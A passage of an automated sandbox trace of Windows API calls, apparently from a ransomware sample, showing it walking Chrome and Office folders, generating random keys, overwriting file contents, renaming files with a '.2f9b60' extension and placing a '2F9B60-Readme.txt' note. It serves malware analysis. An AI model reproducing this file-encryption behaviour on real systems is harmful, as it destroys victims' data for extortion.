(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0233.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0233.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97b20 [0233.865] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.865] WriteFile (in: hFile=0x2848, lpBuffer=0x42c20b40*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2555fb30, lpOverlapped=0x0 | out: lpBuffer=0x42c20b40*, lpNumberOfBytesWritten=0x2555fb30*=0x126, lpOverlapped=0x0) returned 1 [0236.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262750 [0236.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262750) returned 1 [0236.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x431acd20 [0236.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262750 [0236.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0236.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633b0) returned 1 [0236.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b869c40 [0236.124] sprintf (in: _Dest=0x1b869c40, _Format="%c%c" | out: _Dest="cb") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c42, _Format="%c%c" | out: _Dest="26") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c44, _Format="%c%c" | out: _Dest="c2") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c46, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c48, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c4a, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c4c, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c4e, _Format="%c%c" | out: _Dest="80") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c50, _Format="%c%c" | out: _Dest="79") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c52, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c54, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.124] sprintf (in: _Dest=0x1b869c56, _Format="%c%c" | out: _Dest="1f") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c58, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c5a, _Format="%c%c" | out: _Dest="9e") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c5c, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c5e, _Format="%c%c" | out: _Dest="50") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c60, _Format="%c%c" | out: _Dest="41") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c62, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c64, _Format="%c%c" | out: _Dest="13") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c66, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c68, _Format="%c%c" | out: _Dest="3c") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c6a, _Format="%c%c" | out: _Dest="18") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c6c, _Format="%c%c" | out: _Dest="8f") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c6e, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c70, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c72, _Format="%c%c" | out: _Dest="d8") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c74, _Format="%c%c" | out: _Dest="89") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c76, _Format="%c%c" | out: _Dest="72") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c78, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c7a, _Format="%c%c" | out: _Dest="5f") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c7c, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c7e, _Format="%c%c" | out: _Dest="c0") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c80, _Format="%c%c" | out: _Dest="99") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c82, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c84, _Format="%c%c" | out: _Dest="5c") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c86, _Format="%c%c" | out: _Dest="08") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c88, _Format="%c%c" | out: _Dest="96") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c8a, _Format="%c%c" | out: _Dest="ee") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c8c, _Format="%c%c" | out: _Dest="14") returned 2 [0236.125] sprintf (in: _Dest=0x1b869c8e, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c90, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c92, _Format="%c%c" | out: _Dest="00") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c94, _Format="%c%c" | out: _Dest="38") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c96, _Format="%c%c" | out: _Dest="14") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c98, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c9a, _Format="%c%c" | out: _Dest="80") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c9c, _Format="%c%c" | out: _Dest="7c") returned 2 [0236.126] sprintf (in: _Dest=0x1b869c9e, _Format="%c%c" | out: _Dest="02") returned 2 [0236.126] sprintf (in: _Dest=0x1b869ca0, _Format="%c%c" | out: _Dest="9a") returned 2 [0236.126] sprintf (in: _Dest=0x1b869ca2, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.126] sprintf (in: _Dest=0x1b869ca4, _Format="%c%c" | out: _Dest="21") returned 2 [0236.126] sprintf (in: _Dest=0x1b869ca6, _Format="%c%c" | out: _Dest="16") returned 2 [0236.126] RtlInitAnsiString (in: DestinationString=0x2555fba8, SourceString="cb26c2d5f7acb680792a4d1fb79ecc5041f213bb3c188ffcbfd889720e5ffcc099b95c0896ee14a70e003814dd807c029ae52116" | out: DestinationString="cb26c2d5f7acb680792a4d1fb79ecc5041f213bb3c188ffcbfd889720e5ffcc099b95c0896ee14a70e003814dd807c029ae52116") [0236.126] RtlAnsiStringToUnicodeString (in: DestinationString=0x2555fb78, SourceString="cb26c2d5f7acb680792a4d1fb79ecc5041f213bb3c188ffcbfd889720e5ffcc099b95c0896ee14a70e003814dd807c029ae52116", AllocateDestinationString=1 | out: DestinationString="cb26c2d5f7acb680792a4d1fb79ecc5041f213bb3c188ffcbfd889720e5ffcc099b95c0896ee14a70e003814dd807c029ae52116") returned 0x0 [0236.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x430d7a60 [0236.127] wcscat (in: _Dest=0x431f1ec0, _Source="cb26c2d5f7acb680792a4d1fb7" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\cb26c2d5f7acb680792a4d1fb7") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\cb26c2d5f7acb680792a4d1fb7" [0236.127] wcscat (in: _Dest=0x431f1ec0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\cb26c2d5f7acb680792a4d1fb7.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\cb26c2d5f7acb680792a4d1fb7.2f9b60" [0236.127] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\cb26c2d5f7acb680792a4d1fb7.2f9b60", NtPathName=0x2555fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\cb26c2d5f7acb680792a4d1fb7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12e) returned 0x188c10 [0237.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188c10) returned 1 [0237.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cca390) returned 1 [0237.132] NtQueryInformationFile (in: FileHandle=0x2848, IoStatusBlock=0x2555fbb8, FileInformation=0x2555fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2555fbb8, FileInformation=0x2555fbc8) returned 0x0 [0237.132] NtSetInformationFile (FileHandle=0x2848, IoStatusBlock=0x2555fbb8, FileInformation=0x2555fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f1ec0) returned 1 [0237.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d7a60) returned 1 [0237.134] FlushFileBuffers (hFile=0x2848) returned 1 [0238.223] CloseHandle (hObject=0x2848) returned 1 [0241.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf2) returned 0x1b78ea80 [0241.583] wcscpy (in: _Dest=0x1b78ea80, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\" [0241.583] wcscat (in: _Dest=0x1b78ea80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\2F9B60-Readme.txt" [0241.583] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\2f9b60-readme.txt")) returned 0x20 [0241.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ea80) returned 1 [0241.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a8d80) returned 1 Thread: id = 3865 os_tid = 0xc1c [0229.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x431ecea0 [0229.888] wcscpy (in: _Dest=0x431ecea0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" [0229.888] wcscat (in: _Dest=0x431ecea0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\" [0229.888] wcscat (in: _Dest=0x431ecea0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*" [0229.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62a20 [0229.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5ec0 [0230.909] wcscmp (_String1=".", _String2=".") returned 0 [0230.909] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.909] wcscmp (_String1="..", _String2=".") returned 1 [0230.909] wcscmp (_String1="..", _String2="..") returned 0 [0230.909] FindNextFileW (in: hFindFile=0x1ced5ec0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0230.909] wcscmp (_String1="SignedManagedObjects.cer", _String2=".") returned 1 [0230.909] wcscmp (_String1="SignedManagedObjects.cer", _String2="..") returned 1 [0230.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b798e90 [0230.910] wcscpy (in: _Dest=0x1b798e90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" [0230.910] wcscat (in: _Dest=0x1b798e90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\" [0230.910] wcscat (in: _Dest=0x1b798e90, _Source="SignedManagedObjects.cer" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" [0230.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer")) returned 0x20 [0230.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer", dwFileAttributes=0x20) returned 1 [0231.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2584 [0231.447] GetFileSizeEx (in: hFile=0x2584, lpFileSize=0x21e7f680 | out: lpFileSize=0x21e7f680*=656) returned 1 [0231.447] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x28c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.447] ReadFile (in: hFile=0x2584, lpBuffer=0x21e7f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21e7f648, lpOverlapped=0x0 | out: lpBuffer=0x21e7f600*, lpNumberOfBytesRead=0x21e7f648*=0x4, lpOverlapped=0x0) returned 1 [0231.454] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0231.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609f0 [0231.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a20 [0231.456] NtQuerySystemTime (in: CurrentTime=0x21e7f540 | out: CurrentTime=0x21e7f540*=132462178354426000) returned 0x0 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x7651f60a [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x244ced6d [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x637c99ee [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x584f6345 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x2e3fd71 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x32458d5 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x3fbb69cf [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x3adf84b8 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x2535c56 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x261a0140 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x27655c2b [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x7f933743 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x74d7749 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x522be93e [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x23d58743 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x4fcc9aa5 [0231.456] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x233a3fb7 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x30bcb7e [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x37ff43e8 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x77ed66e [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x5e074cc4 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x52bb90d0 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x3521256b [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x261a0140 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x1a7d38fc [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x5e38389a [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x2171c830 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x2171c830 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x7180e0d9 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x5a3f3522 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x28f88862 [0231.457] RtlRandomEx (in: Seed=0x21e7f530 | out: Seed=0x21e7f530) returned 0x2700f80d [0231.465] ReadFile (in: hFile=0x2584, lpBuffer=0x42a17240, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x21e7f530, lpOverlapped=0x0 | out: lpBuffer=0x42a17240*, lpNumberOfBytesRead=0x21e7f530*=0x290, lpOverlapped=0x0) returned 1 [0231.465] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.465] WriteFile (in: hFile=0x2584, lpBuffer=0x42a009e0*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x21e7f534, lpOverlapped=0x0 | out: lpBuffer=0x42a009e0*, lpNumberOfBytesWritten=0x21e7f534*=0x290, lpOverlapped=0x0) returned 1 [0234.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202667e0 [0234.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267950 [0234.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267950) returned 1 [0234.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a009e0) returned 1 [0234.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a17240) returned 1 [0234.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba560) returned 1 [0234.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058880) returned 1 [0234.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42058880 [0234.194] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.195] WriteFile (in: hFile=0x2584, lpBuffer=0x42c208e0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x21e7f650, lpOverlapped=0x0 | out: lpBuffer=0x42c208e0*, lpNumberOfBytesWritten=0x21e7f650*=0x122, lpOverlapped=0x0) returned 1 [0236.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61bf0 [0236.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b5d0 [0236.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b5d0) returned 1 [0236.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ac9a0 [0236.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b5d0 [0236.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c770 [0236.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c770) returned 1 [0236.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61bf0) returned 1 [0236.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x4319fde0 [0236.271] sprintf (in: _Dest=0x4319fde0, _Format="%c%c" | out: _Dest="cb") returned 2 [0236.271] sprintf (in: _Dest=0x4319fde2, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.271] sprintf (in: _Dest=0x4319fde4, _Format="%c%c" | out: _Dest="97") returned 2 [0236.271] sprintf (in: _Dest=0x4319fde6, _Format="%c%c" | out: _Dest="36") returned 2 [0236.271] sprintf (in: _Dest=0x4319fde8, _Format="%c%c" | out: _Dest="f8") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdea, _Format="%c%c" | out: _Dest="51") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdec, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdee, _Format="%c%c" | out: _Dest="23") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdf0, _Format="%c%c" | out: _Dest="11") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdf2, _Format="%c%c" | out: _Dest="93") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdf4, _Format="%c%c" | out: _Dest="84") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdf6, _Format="%c%c" | out: _Dest="64") returned 2 [0236.271] sprintf (in: _Dest=0x4319fdf8, _Format="%c%c" | out: _Dest="30") returned 2 [0236.272] sprintf (in: _Dest=0x4319fdfa, _Format="%c%c" | out: _Dest="60") returned 2 [0236.272] sprintf (in: _Dest=0x4319fdfc, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.272] sprintf (in: _Dest=0x4319fdfe, _Format="%c%c" | out: _Dest="d8") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe00, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe02, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe04, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe06, _Format="%c%c" | out: _Dest="51") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe08, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe0a, _Format="%c%c" | out: _Dest="26") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe0c, _Format="%c%c" | out: _Dest="fb") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe0e, _Format="%c%c" | out: _Dest="79") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe10, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe12, _Format="%c%c" | out: _Dest="52") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe14, _Format="%c%c" | out: _Dest="98") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe16, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe18, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe1a, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe1c, _Format="%c%c" | out: _Dest="21") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe1e, _Format="%c%c" | out: _Dest="ec") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe20, _Format="%c%c" | out: _Dest="54") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe22, _Format="%c%c" | out: _Dest="27") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe24, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.272] sprintf (in: _Dest=0x4319fe26, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.272] sprintf 